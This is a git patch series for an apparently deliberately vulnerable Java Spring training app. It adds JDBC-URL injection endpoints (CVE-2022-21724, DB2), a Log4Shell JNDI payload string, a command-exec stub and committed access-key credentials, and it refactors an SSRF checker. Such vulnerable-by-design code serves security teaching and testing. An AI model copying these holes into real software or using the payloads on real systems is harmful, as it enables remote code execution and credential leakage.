From 4ede83ab929b53c8ad600e1a63c961433e82a97d Mon Sep 17 00:00:00 2001
From: JoyChou
Date: Fri, 28 Apr 2023 11:28:50 +0800
Subject: [PATCH 1/6] add jdbc & actuator ak_secret
---
java-sec-code.iml | 228 +-----------------
pom.xml | 7 +
.../java/org/joychou/controller/Jdbc.java | 36 +++
.../java/org/joychou/controller/Log4j.java | 5 +
src/main/java/org/joychou/controller/Rce.java | 17 +-
src/main/java/org/joychou/controller/XXE.java | 2 +-
.../joychou/security/ssrf/SSRFChecker.java | 77 +++---
src/main/resources/application.properties | 5 +-
src/main/resources/templates/index.html | 1 +
9 files changed, 104 insertions(+), 274 deletions(-)
create mode 100644 src/main/java/org/joychou/controller/Jdbc.java
diff --git a/java-sec-code.iml b/java-sec-code.iml
index 6946c265..1daccaec 100644
--- a/java-sec-code.iml
+++ b/java-sec-code.iml
@@ -1,234 +1,8 @@
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/pom.xml b/pom.xml
index 8da3449d..e2a62e75 100644
--- a/pom.xml
+++ b/pom.xml
@@ -337,6 +337,13 @@
42.3.1
+
+
+ com.ibm.db2
+ jcc
+ 11.5.8.0
+
+
diff --git a/src/main/java/org/joychou/controller/Jdbc.java b/src/main/java/org/joychou/controller/Jdbc.java
new file mode 100644
index 00000000..79154c1e
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Jdbc.java
@@ -0,0 +1,36 @@
+package org.joychou.controller;
+
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.sql.DriverManager;
+
+/**
+ * Jdbc Attack @2023.04
+ */
+@Slf4j
+@RestController
+@RequestMapping("/jdbc")
+public class Jdbc {
+
+ /**
+ * CVE-2022-21724
+ */
+ @RequestMapping("/postgresql")
+ public void postgresql(String jdbcUrlBase64) throws Exception{
+ byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);
+ String jdbcUrl = new String(b);
+ log.info(jdbcUrl);
+ DriverManager.getConnection(jdbcUrl);
+ }
+
+ @RequestMapping("/db2")
+ public void db2(String jdbcUrlBase64) throws Exception{
+ Class.forName("com.ibm.db2.jcc.DB2Driver");
+ byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);
+ String jdbcUrl = new String(b);
+ log.info(jdbcUrl);
+ DriverManager.getConnection(jdbcUrl);
+ }
+}
diff --git a/src/main/java/org/joychou/controller/Log4j.java b/src/main/java/org/joychou/controller/Log4j.java
index ada8a394..e5dbc83a 100644
--- a/src/main/java/org/joychou/controller/Log4j.java
+++ b/src/main/java/org/joychou/controller/Log4j.java
@@ -26,4 +26,9 @@ public String log4j(String token) {
}
}
+ public static void main(String[] args) {
+ String poc = "${jndi:ldap://127.0.0.1:1389/f616nl}";
+ logger.error(poc);
+ }
+
}
diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java
index a87a9672..b64d57bf 100644
--- a/src/main/java/org/joychou/controller/Rce.java
+++ b/src/main/java/org/joychou/controller/Rce.java
@@ -58,8 +58,7 @@ public String CommandExec(String cmd) {
/**
- * http://localhost:8080/rce/ProcessBuilder?cmd=whoami
- * @param cmd cmd
+ * POC
*/
@GetMapping("/ProcessBuilder")
public String processBuilder(String cmd) {
@@ -131,16 +130,10 @@ public void groovyshell(String content) {
groovyShell.evaluate(content);
}
- /**
- * CVE-2022-21724
- */
- @RequestMapping("/postgresql")
- public void postgresql(String jdbcUrlBase64) throws Exception{
- byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);
- String jdbcUrl = new String(b);
- log.info(jdbcUrl);
- DriverManager.getConnection(jdbcUrl);
- }
+
+ public static void main(String[] args) throws Exception{
+ Runtime.getRuntime().exec("touch /tmp/x");
+ }
}
diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java
index 08f3073e..58e90739 100644
--- a/src/main/java/org/joychou/controller/XXE.java
+++ b/src/main/java/org/joychou/controller/XXE.java
@@ -436,8 +436,8 @@ public interface UserPayload {
String getUserName();
}
+ public static void main(String[] args) {
- public static void main(String[] args) {
}
}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
index 71abc91e..c2b3896a 100644
--- a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
+++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
@@ -188,6 +188,7 @@ public static String host2ip(String host) {
InetAddress IpAddress = InetAddress.getByName(host);
return IpAddress.getHostAddress();
} catch (Exception e) {
+ logger.error("host2ip exception " + e.getMessage());
return "";
}
}
@@ -198,45 +199,57 @@ public static String host2ip(String host) {
* @return Octal ip returns true, others return false. 012.23.78.233 return true. 012.0x17.78.233 return false.
*/
public static boolean isOctalIP(String host) {
- String[] ipParts = host.split("\\.");
- StringBuilder newDecimalIP = new StringBuilder();
- boolean is_octal = false;
-
- // Octal ip only has number and dot character.
- if (isNumberOrDot(host)) {
-
- // not support ipv6
- if (ipParts.length > 4) {
- throw new SSRFException("Illegal ipv4: " + host);
- }
-
- // 01205647351
- if( ipParts.length == 1 && host.startsWith("0") ) {
- decimalIp = Integer.valueOf(host, 8).toString();
- return true;
- }
+ try{
+ String[] ipParts = host.split("\\.");
+ StringBuilder newDecimalIP = new StringBuilder();
+ boolean is_octal = false;
+
+ // Octal ip only has number and dot character.
+ if (isNumberOrDot(host)) {
+
+ // not support ipv6
+ if (ipParts.length > 4) {
+ logger.error("Illegal ipv4: " + host);
+ return false;
+ }
- // 012.23.78.233
- for(String ip : ipParts) {
- if (!isNumber(ip)){
- throw new SSRFException("Illegal ipv4: " + host);
+ // 01205647351
+ if( ipParts.length == 1 && host.startsWith("0") ) {
+ decimalIp = Integer.valueOf(host, 8).toString();
+ return true;
}
- if (ip.startsWith("0")) {
- if (Integer.valueOf(ip, 8) >= 256){
- throw new SSRFException("Illegal ipv4: " + host);
+
+ // 012.23.78.233
+ for(String ip : ipParts) {
+ if (!isNumber(ip)){
+ logger.error("Illegal ipv4: " + host);
+ return false;
}
- newDecimalIP.append(Integer.valueOf(ip, 8)).append(".");
- is_octal = true;
- }else{
- if (Integer.valueOf(ip, 10) >= 256) {
- throw new SSRFException("Illegal ipv4: " + host);
+ // start with "0", but not "0"
+ if (ip.startsWith("0") && !ip.equals("0")) {
+ if (Integer.valueOf(ip, 8) >= 256){
+ logger.error("Illegal ipv4: " + host);
+ return false;
+ }
+ newDecimalIP.append(Integer.valueOf(ip, 8)).append(".");
+ is_octal = true;
+ }else{
+ if (Integer.valueOf(ip, 10) >= 256) {
+ logger.error("Illegal ipv4: " + host);
+ return false;
+ }
+ newDecimalIP.append(ip).append(".");
}
- newDecimalIP.append(ip).append(".");
}
+ // delete last char .
+ decimalIp = newDecimalIP.substring(0, newDecimalIP.lastIndexOf("."));
}
- decimalIp = newDecimalIP.substring(0, newDecimalIP.lastIndexOf("."));
+ return is_octal;
+ } catch (Exception e){
+ logger.error("SSRFChecker isOctalIP exception: " + e.getMessage());
+ return false;
}
- return is_octal;
+
}
/**
diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties
index d5c6d5ab..66bdb978 100644
--- a/src/main/resources/application.properties
+++ b/src/main/resources/application.properties
@@ -9,8 +9,6 @@ logging.level.org.joychou.mapper=debug
# Spring Boot Actuator Config
management.security.enabled=false
-endpoints.enabled=true
-
# logging.config=classpath:logback-online.xml
@@ -55,3 +53,6 @@ joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**,
# http header max size
#server.max-http-header-size=30000
+
+jsc.accessKey.id=LTAI5tSAEPX3Z5N2Yt8ogc2y
+jsc.accessKey.secret=W1Poxj09wN0Zu6dDsS0on3SIUhOhK7
\ No newline at end of file
diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html
index 057aa067..4c116cb3 100644
--- a/src/main/resources/templates/index.html
+++ b/src/main/resources/templates/index.html
@@ -20,6 +20,7 @@
RCE
ooxml XXE
xlsx-streamer XXE
+ actuator env
From 0c253adbed202b0cbef401a375cfb7b2c8a773e1 Mon Sep 17 00:00:00 2001
From: wzqs <71961807+wzqs@users.noreply.github.com>
Date: Wed, 24 May 2023 22:39:44 +0800
Subject: [PATCH 2/6] Update index.html
fix '/rce/exec' path error
---
src/main/resources/templates/index.html | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html
index 4c116cb3..7e7061be 100644
--- a/src/main/resources/templates/index.html
+++ b/src/main/resources/templates/index.html
@@ -17,7 +17,7 @@
PathTraversal
SqlInject
SSRF
- RCE
+ RCE
ooxml XXE
xlsx-streamer XXE
actuator env
@@ -31,4 +31,4 @@
logout